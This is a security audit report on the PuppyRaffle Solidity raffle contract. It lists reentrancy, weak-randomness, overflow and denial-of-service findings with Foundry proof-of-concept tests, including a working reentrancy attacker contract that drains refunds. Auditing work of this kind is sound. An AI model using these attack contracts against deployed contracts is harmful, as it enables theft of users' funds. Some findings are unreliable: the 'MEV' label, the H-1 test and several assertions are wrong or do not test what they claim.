Puppy Raffle Initial Audit Report

Version 0.1

YASH NIMBALKAR

Date: *April 18, 2025*

Puppy Raffle Audit Report

Prepared by: Yash Nimbalkar

Contents

1. Disclaimer

The auditor makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the the findings provided in this document. A security audit by the auditor is not an endorsement of the underlying business or product. The audit was timeboxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

2. Risk Classification Matrix

Impact \ Likelihood	**High**	**Medium**	**Low**
High	H	H/M	M
Medium	H/M	M	M/L
Low	M	M/L	L

3. Audit Details

- **Auditor:** Yash Nimbalkar
- **Commit Hash:** `15c50ec22382bb1f3106aba660e7c590df18dcac`
- **Repository:** `https://github.com/Cyfrin/4-puppy-raffle-audit`

4. Scope

The audit covered the following contract(s):

- `src/PuppyRaffle.sol`

5. Protocol Summary

PuppyRaffle is an Ethereum-based raffle system where users can enter by paying an entrance fee to win a randomly generated NFT of a cute puppy. The raffle includes three types of puppies—Common, Rare, and Legendary each with a different rarity level. Players enter by submitting their addresses and paying the fee; duplicates are not allowed. Players can also refund their entries before a winner is drawn.

At the end of each raffle duration, a winner is randomly selected and awarded an NFT puppy. 80% of the collected funds go to the winner, while 20% go to a specified fee address. The contract owner can update this fee address and withdraw accumulated protocol fees when no active players are in the raffle.

6. Roles

- **Owner** → Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress function.
- **Player** → Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.

7. Executive Summary

Severity	Number of Issues
High	4
Medium	2
Low	2
Informational	3
Gas Optimizations	2
Total	13

8. Findings

[H-1] MEV Vulnerability in Refund Logic

Description

In the `refund` function, the contract sends ETH to `msg.sender` using `sendValue` before updating critical state variables:

```
payable(msg.sender).sendValue(entranceFee);
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
```

This ordering introduces a risk of MEV, where an attacker could manipulate transaction ordering to their advantage. Specifically, they could reorder the refund transaction to exploit the state before it is updated.

Impact

- Risk of MEV manipulation through transaction reordering
- Attackers could exploit the refund logic to perform multiple refunds or perform malicious actions
- Unfair advantage gained by front-running the refund transaction

Proof of Concept (PoC)

The following Foundry test demonstrates how an attacker could exploit this MEV issue:

```
contract Attacker {
    address public target;

    constructor(address _target) {
        target = _target;
    }

    receive() external payable {
        IPuppyRaffle(target).refund(0);
    }
}

interface IPuppyRaffle {
    function refund(uint256 playerIndex) external;
}

contract PuppyRaffleTest is Test {
    PuppyRaffle public raffle;
    Attacker public attacker;
    address public player;

    function setUp() public {
        raffle = new PuppyRaffle(1 ether, address(this), 3600);
        player = address(0x123);
        attacker = new Attacker(address(raffle));
        address[] memory players = new address[](1);
        players[0] = player;
        raffle.enterRaffle{value: 1 ether}(players);
    }

    function testMEVRefund() public {
        uint256 initialBalance = player.balance;
        vm.startPrank(player);
        raffle.refund(0);
        vm.stopPrank();
        uint256 balanceAfter = player.balance;
        uint256 expectedBalance = initialBalance + 1 ether;

        assertEq(
            balanceAfter,
            expectedBalance,
            "Player should receive a single refund."
        );
    }
}
```

Recommendation

Reorder the logic to update the state *before* making the external call:

```
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
payable(msg.sender).sendValue(entranceFee);
```

This prevents potential MEV exploits by ensuring state updates happen before external calls, thereby reducing the risk of front-running or other transaction reordering attacks.

[H-2] Reentrancy Vulnerability in `refund()` Function

Description

The `refund()` function performs an external call using `sendValue` before updating the internal state of the contract:

```
payable(msg.sender).sendValue(entranceFee);
players[playerIndex] = address(0);
```

This is a classic pattern that can lead to a reentrancy attack, where a malicious contract re-enters the `refund()` function before the internal state is correctly updated. An attacker can exploit this to receive multiple refunds, draining funds from the contract.

Impact

- An attacker can receive multiple refunds by re-entering the `refund()` function during the external call.
- It could result in theft of funds, loss of contract balance, and denial of service for other users.

Proof of Concept (PoC)

```
interface IPuppyRaffle {
    function refund(uint256 playerIndex) external;
    function enterRaffle(address[] memory) external payable;
}

contract MaliciousPlayer {
    IPuppyRaffle public raffle;
    uint256 public attackIndex;
    bool public attacked;

    constructor(IPuppyRaffle _raffle, uint256 _index) {
        raffle = _raffle;
        attackIndex = _index;
    }

    receive() external payable {
        if (!attacked) {
            attacked = true;
            raffle.refund(attackIndex);
        }
    }

    function attack() external {
        raffle.refund(attackIndex);
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

contract ReentrancyTest is Test {
    PuppyRaffle public raffle;
    MaliciousPlayer public attacker;

    function setUp() public {
        raffle = new PuppyRaffle(1 ether, address(0xDEAD), 3600);
        address[] memory entries = new address[](1);
```

```
            attacker = new MaliciousPlayer(IPuppyRaffle(address(raffle)), 0);
            entries[0] = address(attacker);
            raffle.enterRaffle{value: 1 ether}(entries);
        }

        function testReentrancyRefund() public {
            vm.deal(address(raffle), 5 ether);
            uint256 balanceBefore = address(attacker).balance;
            attacker.attack();
            uint256 balanceAfter = address(attacker).balance;

            assertGt(
                balanceAfter,
                balanceBefore + 1 ether,
                "Reentrancy allowed multiple refunds"
            );
            address remaining = raffle.players(0);
            assertEq(
                remaining,
                address(attacker),
                "Player should have been marked as refunded"
            );
        }
    }
```

Recommendation

Use the Checks-Effects-Interactions pattern by updating the contract's internal state **before** making external calls:

```
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, ...);

    players[playerIndex] = address(0);
    emit RaffleRefunded(playerAddress);
    payable(msg.sender).sendValue(entranceFee);
```

[H-3] Weak Randomness used in selectWinner function allows users to predict or influence the winner or the rarity

Description

The ‘selectWinner‘ function uses a weak source of randomness:

```
    uint256 winnerIndex = uint256( keccak256(
            abi.encodePacked(msg.sender, block.timestamp, block.difficulty)
        )) % players.length;
```

The values used in the random number generation are predictable and/or manipulable by miners and malicious actors, especially ‘block.timestamp‘ and ‘block.difficulty‘. This allows an attacker to front-run or manipulate the result by interacting in the same block, particularly if they are the block producer.

Impact

An attacker could potentially influence the outcome of the random draw, giving themselves an unfair advantage in the raffle and compromising the fairness and integrity of the system.

Proof of Concept

Paste the following foundry test code in the test file.

```
function testCanPredictWinner() public playersEntered {
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    uint256 predictedIndex = uint256(
        keccak256(
            abi.encodePacked(
                address(this),
                block.timestamp,
                block.difficulty
            )
        )
    ) % 4;

    address expectedWinner = address(uint160(predictedIndex + 1));
    puppyRaffle.selectWinner();

    assertEq(
        puppyRaffle.previousWinner(),
        expectedWinner,
        "Winner was predictable"
    );
}
```

Recommendation

Use a secure randomness source such as Chainlink VRF (Verifiable Random Function), which provides cryptographically secure and verifiable randomness. Example integration:

```
function fulfillRandomWords(uint256 requestId,uint256[] memory randomWords)
internal override {
    uint256 winnerIndex = randomWords[0] % players.length;
    ...
}
```

This ensures fairness and prevents any influence from external actors.

[H-4] Integer Overflow in Fee Accumulation

Description

In the `PuppyRaffle::selectWinner` function, the following line is responsible for adding the fee to the total accumulated fees:

```
totalFees = totalFees + uint64(fee);
```

Here, the `fee` is typecast to a `uint64`, potentially causing an overflow and truncation when the actual fee exceeds the maximum representable `uint64` value ($2^{64} - 1$). This leads to permanent loss of fee value and incorrect fee accounting.

This issue may not be immediately exploitable in typical usage scenarios, but it introduces the risk of logic failure or financial loss in long-running contracts or those with large transactions.

Impact

The protocol may under-account for fees, resulting in incorrect balances or leakage of funds due to silent truncation. Over time, this can cause significant misreporting of total fees collected.

Proof Of Concept

Paste the following code in your Foundry Test file for validation:

```
uint256 public totalFees;
function addFee(uint256 fee) public {
    totalFees = totalFees + uint64(fee);
}
function testFeeLossOnUint64Downcast() public {
    uint256 largeFee = type(uint64).max;
    addFee(largeFee + 40);
    uint256 actualStored = totalFees;

    console.log("Original largeFee:", largeFee);
    console.log("Actual stored in contract:", actualStored);

    assertLt(actualStored, largeFee);
}
```

Recommendation

1. Use solidity version greater than 0.8.0 to avoid integer overflows and underflows
2. You can use the `SafeMath` library from OpenZepplin for solidity version 0.7.6
3. Remove the balance check from the `PuppyRaffle::withdrawFees`

```
        require(
            address(this).balance == uint256(totalFees),
            "PuppyRaffle: There are currently players active!"
        );
```

This will introduce more attack vectors so it is recommended to remove it completely

[M-1] getActivePlayerIndex Misleading Return Value (Ambiguity in player presence check)

Description

The function getActivePlayerIndex returns 0 when a player is not found in the players array. However, this is also the index of a valid player if they are the first entrant. This creates ambiguity — a player at index 0 would receive the same result as a player who hasn't entered, making the return value unreliable for presence checks.

Impact

This can lead to incorrect assumptions in front-end logic or contract integrations, where a user may be wrongly informed they are not participating in the raffle, even if they are the first entry.

Proof Of Concept

1. The first player enters the raffle
2. `getActivePlayerIndex` returns 0
3. Player thinks they have not entered the Raffle due to the function documentation

Recommendation

Use a boolean flag alongside the index return value, such as:

```
function getActivePlayerIndex(address player)
public view returns (bool found, uint256 index){
    ...
}
```

Alternatively, consider reverting when the player is not found, or use a sentinel value like type(uint256).max for not-found results.

[M-2] Smart Contract wallets might revert the transaction during Winner Payout if they don't have the `receive` or `fallback` funtions and thus block the start of a new contest

Description

The contract uses a low-level `.call()` to send ETH to the raffle winner. If a smart contract becomes the winner and its fallback or receive function reverts or does not exist, then the entire transaction will revert, blocking winner selection and minting of the NFT.

```
(bool success, ) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId);
```

Impact

A malicious contract can permanently block raffle resolution, freezing prize distribution and minting. This leads to denial of service for future raffles or players.

Recommendation

1. Do not allow smart contracts to enter the contest (*not recommended*)
2. Create a mapping of address $\rightarrow$ payout so that the winners can pull their funds out themselves with a new `claimPrize` function (*recommended*) (*This is known as* ***`Pull over Push`*** *method*)

[L-1] Floating Pragma Allows Unexpected Compiler Behavior

Description

The contract uses a floating Solidity version pragma:

```
pragma solidity ^0.7.6;
```

Using `^0.7.6` allows the contract to be compiled with any version from `0.7.6` up to (but not including) `0.8.0`. This can lead to unintended behavior or vulnerabilities if the contract is compiled with a different version than it was tested with.

Impact

Unexpected compiler behavior or incompatibility with newer compiler patches may lead to security vulnerabilities or deployment issues.

Recommendation

Fix the compiler version explicitly to ensure consistent behavior:

```
pragma solidity 0.7.6;
```

[L-2] Outdated Solidity Version Reduces Security and Optimization Benefits

Description

The contract is written using Solidity version `0.7.6`, which is outdated. Since then, multiple compiler versions have been released with important security enhancements, better gas optimizations, and additional language features.

Staying on an old compiler version limits the contract's access to:

- Built-in overflow/underflow protections introduced in `0.8.x`
- Improved error messages and diagnostics
- Security and stability fixes

Impact

Using an outdated version can:

- Increase vulnerability to known compiler bugs
- Prevent use of modern language features and security checks
- Impede long-term maintainability and tooling compatibility

Recommendation

Upgrade to the latest stable release of Solidity (e.g., `0̂.8.29` at the time of writing), and adjust the code accordingly. Ensure all arithmetic logic is audited after the upgrade due to the breaking change of built-in overflow checks in `0.8.x`.

[I-1] Address State Variable Set Without Zero Address Check

Description

In two instances, the contract assigns values to the `feeAddress` state variable without validating that the provided address is not the zero address (`address(0)`). Assigning an invalid address can break expected protocol flows, such as fee withdrawals, and potentially lock funds.

Instances Found:

- Line 62:

  ```
  feeAddress = _feeAddress;
  ```

- Line 168:

  ```
  feeAddress = newFeeAddress;
  ```

Impact

Failing to validate critical address assignments can lead to:

- Irretrievable ETH if fees are sent to `address(0)`
- Inoperable contract functions (e.g., `withdrawFees`)
- Reduced trust and safety in the protocol

Recommendation

Add zero address checks before assigning any address value to `feeAddress`, for example:

```
require(_feeAddress != address(0), "Invalid fee address");
feeAddress = _feeAddress;
```

Apply the same validation in the `changeFeeAddress` function:

```
require(newFeeAddress != address(0), "Invalid new fee address");
feeAddress = newFeeAddress;
```

[I-2] selectWinner function Should Use CEI Pattern

Description

The selectWinner function does not follow the Checks-Effects-Interactions pattern, a well-known Solidity best practice to prevent reentrancy attacks and improve contract robustness. While the current implementation may not be directly vulnerable, adhering to CEI is advisable for forward compatibility and safety, especially when interacting with untrusted external addresses.

Impact

Failure to follow CEI could potentially open up future reentrancy vulnerabilities if internal logic changes or if more external interactions are added. Moreover, it reduces the contract's readability and maintainability.

Recommendation

Refactor the selectWinner function so that:

- Checks (e.g., validations) happen first
- Effects (state changes like resetting the raffle) occur second
- Interactions (calls to external addresses such as sending funds) happen last

[I-3] Magic Numbers used in `selectWinner` Function

Description

The `PuppyRaffle::selectWinner` function uses hardcoded numeric values (also known as "magic numbers") to determine the distribution of the collected funds:

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
```

Using magic numbers reduces the readability and maintainability of the code. The meaning and intention behind these numbers are not clear at a glance, and changing them in the future can be error-prone.

Recommendation

Use named constants to define the percentages, improving code clarity and simplifying updates. For example:

```
uint256 private constant PRIZE_PERCENTAGE = 80;
uint256 private constant FEE_PERCENTAGE = 20;

uint256 prizePool = (totalAmountCollected * PRIZE_PERCENTAGE) / 100;
uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / 100;
```

If the prize and fee distributions are expected to vary across deployments, consider making them constructor parameters.

[G-1] Unchanged State Variables Not Marked as Constant or Immutable

Description

Certain state variables in the contract are never modified after deployment and should be marked as `constant` or `immutable` to save gas and improve code clarity. This also signals to developers and auditors that the values are fixed for the lifetime of the contract.

The following variables are candidates for such marking:

- `PuppyRaffle::raffleDuration` (line 17) – should be marked `immutable`
- `PuppyRaffle::commonImageUri` (line 28) – should be marked `constant`
- `PuppyRaffle::rareImageUri` (line 33) – should be marked `constant`
- `PuppyRaffle::legendaryImageUri` (line 38) – should be marked `constant`

Impact

Failing to mark variables as `constant` or `immutable`:

- Increases deployment and runtime gas costs
- Obscures developer intent about mutability
- Reduces opportunities for compiler-level optimizations

Recommendation

Update the state variable declarations as constants or immutables. This change will help reduce gas usage and make the contract logic clearer.

[G-2] Storage Variable `players.length` Not Cached in Loop

Description

The code iterates over the `players` array using nested loops to check for duplicate entries:

```
for (uint256 i = 0; i < players.length - 1; i++) {
    for (uint256 j = i + 1; j < players.length; j++) {
        require(players[i] != players[j], "PuppyRaffle: Duplicate player");
    }
}
```

Here, `players.length` is a storage read, which incurs gas cost every time it is accessed inside the loop condition. Repeatedly reading from storage inside loops is inefficient.

Impact

- Increases gas costs proportionally with the number of loop iterations
- Impacts users entering the raffle with large participant arrays

Recommendation

Cache `players.length` into a local memory variable before entering the loop:

```
uint256 length = players.length;
for (uint256 i = 0; i < length - 1; i++) {
    for (uint256 j = i + 1; j < length; j++) {
        require(players[i] != players[j], "PuppyRaffle: Duplicate player");
    }
}
```

This reduces storage reads and saves gas, especially when the number of participants is large.